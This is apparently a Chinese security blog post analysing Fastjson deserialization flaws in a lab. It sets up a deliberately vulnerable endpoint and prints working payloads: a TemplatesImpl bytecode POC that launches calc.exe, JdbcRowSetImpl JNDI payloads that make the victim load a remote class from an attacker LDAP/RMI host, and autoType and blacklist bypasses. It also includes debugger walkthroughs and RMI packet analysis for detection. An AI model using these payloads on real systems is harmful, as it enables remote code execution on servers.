Fastjson 漏洞相关

FastJSON 漏洞分析

概述

Fastjson 是阿里巴巴维护的开源 JSON 库,特点是速度较快,支持特性较多,经常爆洞。常用于 Web 和安卓的序列化和反序列化中。

支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化为 Java Bean。

常用方法:

  • JSON.toJSONString(Object[, SerializerFeature]),将对象序列化为 JSON 格式,如果指定 SerializerFeature.WriteClassName,会将类名记录到 JSON 中(使用@type标记)
  • JSON.parse(Json),将 JSON 字符串反序列化为对象并返回,要求该 JSON 必须有 @type 标记
  • JSON.parseObject(Json),返回com.alibaba.fastjson.JSONObject
  • JSON.parseObject(Json, Object.class),返回@type指定的类
  • JSON.parseObject(Json, User.class, Feature.SupportNonPublicField),反序列化时接受私有成员

使用

序列化时,所有 public 字段和具有 get 方法的 private 字段都能被序列化。

反序列化时,无 set 方法的 privaate 字段不会被反序列化,除非指定 Feature.SupportNonPublicField。

环境搭建

JDK 版本 1.8.211

使用 Spring Boot 搭建测试环境,在 pom.xml 中添加对应 FastJSON 依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>

测试页面

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.Feature;
import org.springframework.web.bind.annotation.*;

@RestController
public class Victim {
@PostMapping("fastjson")
public String vuln(@RequestBody String s){
JSONObject obj = JSON.parseObject(s, Feature.SupportNonPublicField);
return "OK";
}
}

漏洞利用

FastJSON 1.2.24 反序列化

使用 1.2.23 版本

漏洞存在于 AutoType,可以反序列化任意类,POC:

1
2
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANQoABwAmCgAnACgIACkKACcAKgcAKwoABQAmBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMcG9jOwEACkV4Y2VwdGlvbnMHAC0BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAQTWV0aG9kUGFyYW1ldGVycwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACWhhRm5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALgEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAvAQAKU291cmNlRmlsZQEACHBvYy5qYXZhDAAIAAkHADAMADEAMgEACGNhbGMuZXhlDAAzADQBAANwb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAADAAEAA0ADQAOAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgACAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwAZAAAADQMAEwAAABUAAAAXAAAAAQARABoAAwAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAbABwAAgAPAAAABAABAB0AGQAAAAkCABMAAAAbAAAACQAeAB8AAwAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGgAIABsADAAAABYAAgAAAAkAIAAhAAAACAABACIADgABAA8AAAAEAAEAIwAZAAAABQEAIAAAAAEAJAAAAAIAJQ=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

使用 TemplatesImpl 利用链执行任意字节码,_bytecodes为如下恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class poc extends AbstractTranslet {
public poc() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

public void transform(DOM document, SerializationHandler[] haFndlers) throws TransletException {
}

public static void main(String[] args) throws Exception {
new poc();
}
}

POST 以上 POC,可以成功弹出计算器。

跟踪调试,在JSON.parseObject(s, Feature.SupportNonPublicField)处下断点,获取传入特性后解析

image-20210720144851600

进入 parser.parse(),由于传入的 JSON 第一个字符是左大括号,所以进入 LBRACE,

image-20210720151801631

开始解析字符串,通过scanSymbol解析双引号之间的值(@type

image-20210720152151993

并且获取了传入类的 class

image-20210720153220286

进入 deseriailizer.deserialze(),进行反序列化操作,依次解析 JSON 中的各个字段,第一个字段是outputProperties,类型是java.util.Properties

当 key 是_outputProperties时,matchfield 为 false,会进入parseField

image-20210720165401412

image-20210720165438308

image-20210720165725226

进入 setValue,触发 TemplatesImpl 利用链

image-20210720165837008

弹出计算器。

再次研究

之前的基本上就是复现了一遍,对原理基本没有了解。所以再来重新研究。

反序列化过程

传入一个带有类型的正常的 Json 进行反序列化,调试反序列化过程,secret 为 private 字段

1
{"@type":"net.yanqs.springtest.FastjsonDemo.User","age":10,"secret":"secret","username":"sijidou"}

反序列化方法为

1
JSON.parseObject(s, Feature.SupportNonPublicField);

获取特性后,进入 parse

image-20210807161605492

创建了一个 DefaultJSONParseer,开始解析

image-20210807162955757

其中, JSONLexer(词法分析器?) 表示了传入的 JSON 字符串,包含了字符串的长度,目前解析到的位置等等信息

image-20210807163205371

如果当前位置是{或者[,则调用 next 方法继续向下,否则获取内容到 nextToken。

由于第一个字符是{,因此进入 next。在 next 中,将当前字符串的位置记录一下,并判断字符串是否已经结束。

在 lexer 中记录 Token 的值(LBRACE,12),DefaultJSONParser构造完成,接下来调用它的 parse 方法。

switch(lexer.token()) 为 12,进入 case LBRACE

image-20210807165410818

创建一个新的 JSONObject,如果 OrderedField 启动则使用 LinkedHashMap 存储,否则使用 HashMap。随后调用 parseObject。

parseObject 中处理一些 token 不正常的情况,进入解析的过程。

image-20210807173140658

首先跳过空白,如果特性中设定了允许任意逗号,则也跳过逗号。所以在开启情况下可以使用类似payload,{,\t,\n,"@type"

image-20210807173536710

如果下个字符是双引号,则进入 scanSymbleTable,返回下一个双引号之前的字符串。比如本例中会返回@type。scanSymbleTable 中会进行十六进制和 Unicode 解码,因此可以进行编码来做简单的绕过。另外同样也会忽略注释。

image-20210807174626906

这里的 JSON.DEFAULT_TYPE_KEY 就是@type,进入并获取 typeName,类的全名,然后执行 loadClass。如果 loadClass 结果是 null,也把它放到结果的数组里,否则继续。进行一系列判断后,getDeserilizer 然后 deserialze

image-20210807180359976

getDeserializer

image-20210807212532547

get 查找类是否在已经存在的 Map 里,如果有就直接返回现成的 deserializer。如果是 Class<?>类型,调用该类型的 getDeserializer,继续类似上面的过程,替换 className 中的$.,应该是将内部类的符号换成普通的符号后,出现了一个 denylist

image-20210807231312657

不知道为啥 denyList 里俩 Thread = =

image-20210807232726981

判断将要反序列化的类是不是几个特殊的类之一,是的话添加一些相关的类

1
2
3
4
java.awt.
java.time.
java.util.Optional
java.nio.file.Path

然后获取当前 classloader 尝试加载,然后再来 get,当然还是 get 不到。最后判断 clazz 是不是一些特殊的类,如果都不是,最后创建一个 JavaBeanDeserializer 返回。

image-20210807233544734

跟进 createJavaBeanDeserializer,经过一系列判断 asmEnable,进入JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);,在这个 build 方法中,创建将要反序列化的对象

image-20210808180610305

获取到默认的构造方法后,设置可见性

image-20210809225911795

接下来获取 getter

image-20210809230024617

setter 和 getter 被获取到需要满足几个条件:方法名长度至少为4,不是静态方法,无返回值或返回值为声明它的类(此处存疑),接受 1 个参数,开头是 set

根据方法名获取字段,支持 Unicode

image-20210809230734202

获取字段,根据是不是布尔类型分两种情况

image-20210809231102438

获取 getter ,逻辑类似于获取 setter,要求方法名长度大于 4,非静态,开头是 get,第四个字符大写,不接受参数

image-20210811112025231

另外还要求返回值能够满足以下条件之一:

image-20210811112354463

后面其中有一点比较重要。如果一个 field 存在 setter,则它的信息在获取 setter 时就会呗获取到,此时就无法获取 getter。当无 setter 时,fieldInfo == null,才能获取 getter。

image-20210811120123865

全部处理完成后,使用获取的这些信息创建 JavaBeanDeserializer。稍后进行 deserialize 方法。

根据以上分析,修改 secret 字段的类型为 Properties 即可成功在反序列化时调用 getProperties 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class User {
private int age=10;
public String username="init";
private Properties secret= new Properties( );
public int getAge() {
System.out.println("getAge called");return age;
}
public void setAge(int age) { age = age;
}
public String getUsername() {
System.out.println("getUsername called");return username;
}
public void setUsername(String username) {
this.username = username;
}
public Properties getSecret() {
System.out.println("getSecret called");
return secret;
}
@Override
public String toString() {
return this.age + "," + this.username + "," + this.secret;
}
}

<= 1.2.24

换了 1.2.24 版本,继续分析。

TemplatesImpl Gadget

这就是上面复现过程中使用的 gadget,利用条件比较苛刻,需要服务端开启 Feature.SupportNonPublicField。这个 TemplatesImpl 也是反序列化中常用的利用链。在 fastjson 中能够利用成功关键在于能够调用 getOutPutProperties方法

image-20210811145335888

这个类中存在 _outputProperties 这个字段和 getOuputProperties getter,但是不存在 setter。同事返回值的类型是 Properties,它继承了 HashMap,间接继承了 Map。满足了所需的要求,所以可以调用。

JDBC Gadget

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.183.1:389/obj","autoCommit":true}

本质上是一个 JNDI 注入,获取到的 autoCommit 方法造成 JNDI 注入

image-20210812151144620

connect 方法中调用 lookup,造成 JNDI 注入

image-20210812151323801

修复

默认关闭了 AutoType,并且加入了黑白名单机制。

1.2.23 中的相关部分:

image-20210807174626906

322 行的 loadClass,在 1.2.25 中改为了 checkAutoType

image-20210813115855160

在 AutoType 打开或者指定了 expectClass 的情况下,指定的 TypeName 如果在百名单中,则直接 loadClass,黑名单中抛出错误。

image-20210813120302429

loadClass 绕过

在 AutoType 被手动打开的情况下,可以通过 loadClass 的截断特性绕过黑名单。

1
2
Lcom.sun.; => com.sun.
[com.sun. => com.sun.

1.2.42 中检查是否以L开头以;结尾,是则截断第一个和最后一个字符。所以可以双写绕过。LLcom.sun.;;。后续修复检查是否以L开头以;结尾,此时可以使用L绕过。最后修复了L,无法绕过。

<=1.2.47

缓存绕过

无需开启 Autotype 即可 RCE

1
2
3
4
5
[{
"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"
}, {
"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true
} ]

不开启 autotype 的情况下,解析 java.lang.class 的时候不会进入下图中的第一个判断

image-20210813120302429

而是直接返回 java.lang.class

image-20210813142747842

随后获取 Class 对应的 Deserializer,是 Misccodec

image-20210813142951233

在 deserialize 方法中,解析了 objVal 的值,即JdbcRowSetImpl

image-20210813143551170

然后进行了 loadClass,,此处的 strVal 为 (String)objVal

image-20210813143702077

FastJSON 有缓存机制,每次 deserialize 获取到的 value 会存放在一个 map 中。

在解析数组的第二项即JdbcRowSetImpl时,在 getFromMapping 中会获取到 FastJSON 的缓存,即 JdbcRowSetImpl,直接返回了该类,从而绕过了 checkAutotype

image-20210813142747842

随后的修复默认关闭了缓存,这样就无法绕过 checkAutotype 了。

<= 1.2.68

AutoCloseable 绕过

1.2.68,有限制,需要已知存在问题并且实现了 AutoCloseable 的类

1
{"@type":"java.lang.AutoCloseable","@type":"class.to.be.deserialized"}

image-20210813224605958

重点在于 expectClassFlag,当第一次进入 checckAutotype 时,改变了 expectClass,当第二个类为第一个类的子类时,判断 expectClass 成功,会进行 loadClass。但是条件比较苛刻,要求服务器上存在危险的类才能利用,总体来说难度较大。

随后的修复中,将java.lang.AutoCloseablejava.lang.Readablejava.lang.Runnable加入黑名单.

工具

详细分析

使用 vulhub 的环境和 JNDI 注入的 payload 攻击,用 marshalsec 开启 JNDI 服务并使受害者加载远程恶意类,192.168.183.1 为攻击者,192.168.183.128 为受害者,远程类 TouchFile 存放在 192.168.183.1:8080,抓包分析,数据包,[RMI文档](Java Remote Method Invocation: 10 - RMI Wire Protocol (oracle.com))

1
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.183.1:9999/TouchFile","autoCommit":true},"ixukxrkli7g":"="}

RMI 过程中,会建立两个连接,Client - RMI Registry 和 Client - RMI Server。

Client - RMI Registry

192.168.183.128:35656 --- 192.168.183.1:9999(tcp.stream eq 2)

  1. 客户端连接 RMI Registry
1
0000   4a 52 4d 49 00 02 4b                              JRMI..K

根据文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Header:
0x4a 0x52 0x4d 0x49 Version Protocol
Version:
0x00 0x01
Protocol:
StreamProtocol
SingleOpProtocol
MultiplexProtocol
StreamProtocol:
0x4b
SingleOpProtocol:
0x4c
MultiplexProtocol:
0x4d
  1. RMI Registry 返回客户端信息
1
2
0000   4e 00 0f 31 39 32 2e 31 36 38 2e 31 38 33 2e 31   N..192.168.183.1
0010 32 38 00 00 8b 48 28...H

0x4e 为 ProtocolAck。0x000f 表示后续 IP 地址长度为 15 字节,即 ASCII 编码的192.168.183.1。0x0000 保留。0x8b48 表示 35656 端口。

可以看出返回的是客户端的信息。

  1. 客户端返回自己的内网地址
1
0000   00 0a 31 37 32 2e 31 38 2e 30 2e 32 00 00 00 00   ..172.18.0.2....

同上,0x000a 表示长度为 10 的 IP 地址,末尾 0x0000 保留。

  1. 客户端向 RMI Registry 发送 Call
1
2
3
4
0000   50 ac ed 00 05 77 22 00 00 00 00 00 00 00 00 00   P....w".........
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 02 44 15 4d c9 d4 e6 3b df 74 00 09 54 6f 75 63 .D.M...;.t..Touc
0030 68 46 69 6c 65 hFile

0x50 表示 JRMP Call,后面的以 0xaced 开头的是 Serialization Data,可以看到,结尾是客户端要加载的远程类 TouchFile

  1. RMI Registry 返回客户端调用远程方法需要的信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
0000   51 ac ed 00 05 77 0f 01 0f 54 56 ae 00 00 01 7b   Q....w...TV....{
0010 5c 81 9c 8b 80 01 73 72 00 2a 63 6f 6d 2e 73 75 \.....sr.*com.su
0020 6e 2e 6a 6e 64 69 2e 72 6d 69 2e 72 65 67 69 73 n.jndi.rmi.regis
0030 74 72 79 2e 52 65 66 65 72 65 6e 63 65 57 72 61 try.ReferenceWra
0040 70 70 65 72 54 5a 0e 24 97 c2 c5 f0 02 00 01 4c pperTZ.$.......L
0050 00 07 77 72 61 70 70 65 65 74 00 18 4c 6a 61 76 ..wrappeet..Ljav
0060 61 78 2f 6e 61 6d 69 6e 67 2f 52 65 66 65 72 65 ax/naming/Refere
0070 6e 63 65 3b 74 00 24 68 74 74 70 3a 2f 2f 31 39 nce;t.$http://19
0080 32 2e 31 36 38 2e 31 38 33 2e 31 3a 38 30 30 30 2.168.183.1:8000
0090 2f 23 54 6f 75 63 68 46 69 6c 65 78 72 00 23 6a /#TouchFilexr.#j
00a0 61 76 61 2e 72 6d 69 2e 73 65 72 76 65 72 2e 55 ava.rmi.server.U
00b0 6e 69 63 61 73 74 52 65 6d 6f 74 65 4f 62 6a 65 nicastRemoteObje
00c0 63 74 45 09 12 15 f5 e2 7e 31 02 00 03 49 00 04 ctE.....~1...I..
00d0 70 6f 72 74 4c 00 03 63 73 66 74 00 28 4c 6a 61 portL..csft.(Lja
00e0 76 61 2f 72 6d 69 2f 73 65 72 76 65 72 2f 52 4d va/rmi/server/RM
00f0 49 43 6c 69 65 6e 74 53 6f 63 6b 65 74 46 61 63 IClientSocketFac
0100 74 6f 72 79 3b 4c 00 03 73 73 66 74 00 28 4c 6a tory;L..ssft.(Lj
0110 61 76 61 2f 72 6d 69 2f 73 65 72 76 65 72 2f 52 ava/rmi/server/R
0120 4d 49 53 65 72 76 65 72 53 6f 63 6b 65 74 46 61 MIServerSocketFa
0130 63 74 6f 72 79 3b 74 00 24 68 74 74 70 3a 2f 2f ctory;t.$http://
0140 31 39 32 2e 31 36 38 2e 31 38 33 2e 31 3a 38 30 192.168.183.1:80
0150 30 30 2f 23 54 6f 75 63 68 46 69 6c 65 78 72 00 00/#TouchFilexr.
0160 1c 6a 61 76 61 2e 72 6d 69 2e 73 65 72 76 65 72 .java.rmi.server
0170 2e 52 65 6d 6f 74 65 53 65 72 76 65 72 c7 19 07 .RemoteServer...
0180 12 68 f3 39 fb 02 00 00 74 00 24 68 74 74 70 3a .h.9....t.$http:
0190 2f 2f 31 39 32 2e 31 36 38 2e 31 38 33 2e 31 3a //192.168.183.1:
01a0 38 30 30 30 2f 23 54 6f 75 63 68 46 69 6c 65 78 8000/#TouchFilex
01b0 72 00 1c 6a 61 76 61 2e 72 6d 69 2e 73 65 72 76 r..java.rmi.serv
01c0 65 72 2e 52 65 6d 6f 74 65 4f 62 6a 65 63 74 d3 er.RemoteObject.
01d0 61 b4 91 0c 61 33 1e 03 00 00 74 00 24 68 74 74 a...a3....t.$htt
01e0 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 31 38 33 2e p://192.168.183.
01f0 31 3a 38 30 30 30 2f 23 54 6f 75 63 68 46 69 6c 1:8000/#TouchFil
0200 65 78 70 77 12 00 10 55 6e 69 63 61 73 74 53 65 expw...UnicastSe
0210 72 76 65 72 52 65 66 78 00 00 00 00 70 70 73 72 rverRefx....ppsr
0220 00 16 6a 61 76 61 78 2e 6e 61 6d 69 6e 67 2e 52 ..javax.naming.R
0230 65 66 65 72 65 6e 63 65 e8 c6 9e a2 a8 e9 8d 09 eference........
0240 02 00 04 4c 00 05 61 64 64 72 73 74 00 12 4c 6a ...L..addrst..Lj
0250 61 76 61 2f 75 74 69 6c 2f 56 65 63 74 6f 72 3b ava/util/Vector;
0260 4c 00 0c 63 6c 61 73 73 46 61 63 74 6f 72 79 74 L..classFactoryt
0270 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 ..Ljava/lang/Str
0280 69 6e 67 3b 4c 00 14 63 6c 61 73 73 46 61 63 74 ing;L..classFact
0290 6f 72 79 4c 6f 63 61 74 69 6f 6e 71 00 7e 00 0e oryLocationq.~..
02a0 4c 00 09 63 6c 61 73 73 4e 61 6d 65 71 00 7e 00 L..classNameq.~.
02b0 0e 74 00 24 68 74 74 70 3a 2f 2f 31 39 32 2e 31 .t.$http://192.1
02c0 36 38 2e 31 38 33 2e 31 3a 38 30 30 30 2f 23 54 68.183.1:8000/#T
02d0 6f 75 63 68 46 69 6c 65 78 70 73 72 00 10 6a 61 ouchFilexpsr..ja
02e0 76 61 2e 75 74 69 6c 2e 56 65 63 74 6f 72 d9 97 va.util.Vector..
02f0 7d 5b 80 3b af 01 03 00 03 49 00 11 63 61 70 61 }[.;.....I..capa
0300 63 69 74 79 49 6e 63 72 65 6d 65 6e 74 49 00 0c cityIncrementI..
0310 65 6c 65 6d 65 6e 74 43 6f 75 6e 74 5b 00 0b 65 elementCount[..e
0320 6c 65 6d 65 6e 74 44 61 74 61 74 00 13 5b 4c 6a lementDatat..[Lj
0330 61 76 61 2f 6c 61 6e 67 2f 4f 62 6a 65 63 74 3b ava/lang/Object;
0340 74 00 24 68 74 74 70 3a 2f 2f 31 39 32 2e 31 36 t.$http://192.16
0350 38 2e 31 38 33 2e 31 3a 38 30 30 30 2f 23 54 6f 8.183.1:8000/#To
0360 75 63 68 46 69 6c 65 78 70 00 00 00 00 00 00 00 uchFilexp.......
0370 00 75 72 00 13 5b 4c 6a 61 76 61 2e 6c 61 6e 67 .ur..[Ljava.lang
0380 2e 4f 62 6a 65 63 74 3b 90 ce 58 9f 10 73 29 6c .Object;..X..s)l
0390 02 00 00 74 00 24 68 74 74 70 3a 2f 2f 31 39 32 ...t.$http://192
03a0 2e 31 36 38 2e 31 38 33 2e 31 3a 38 30 30 30 2f .168.183.1:8000/
03b0 23 54 6f 75 63 68 46 69 6c 65 78 70 00 00 00 0a #TouchFilexp....
03c0 70 70 70 70 70 70 70 70 70 70 78 74 00 09 54 6f ppppppppppxt..To
03d0 75 63 68 46 69 6c 65 74 00 24 68 74 74 70 3a 2f uchFilet.$http:/
03e0 2f 31 39 32 2e 31 36 38 2e 31 38 33 2e 31 3a 38 /192.168.183.1:8
03f0 30 30 30 2f 23 54 6f 75 63 68 46 69 6c 65 74 00 000/#TouchFilet.
0400 03 46 6f 6f .Foo

0x51 表示 ReturnData,后面是序列化的数据。

到这里,有的文章说还有 Ping(0x52),Ack(0x53) 和 分布式GC(0x54) 的内容,但我这里妹有看到。

Client - RMI Server

获取到远程调用需要的信息后,开始加载远程类。

192.168.183.128:32940 --- 192.168.183.1:8000(tcpstream eq 3)

Client 通过 HTTP 下载远程类

C# 实现自动化检测

对于检测来说,检测到以上第四步,即客户端向 RMI Registry 发送 JRMP Call,即可证明存在漏洞。

作者

lll

发布于

2021-07-20

更新于

2022-09-19

许可协议